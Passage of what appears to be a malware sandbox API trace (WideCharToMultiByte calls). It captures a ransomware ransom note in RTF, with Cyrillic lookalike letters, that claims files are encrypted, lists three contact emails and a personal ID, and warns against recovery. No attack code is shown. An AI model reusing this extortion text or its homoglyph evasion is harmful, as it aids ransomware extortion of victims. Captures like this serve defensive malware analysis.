d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 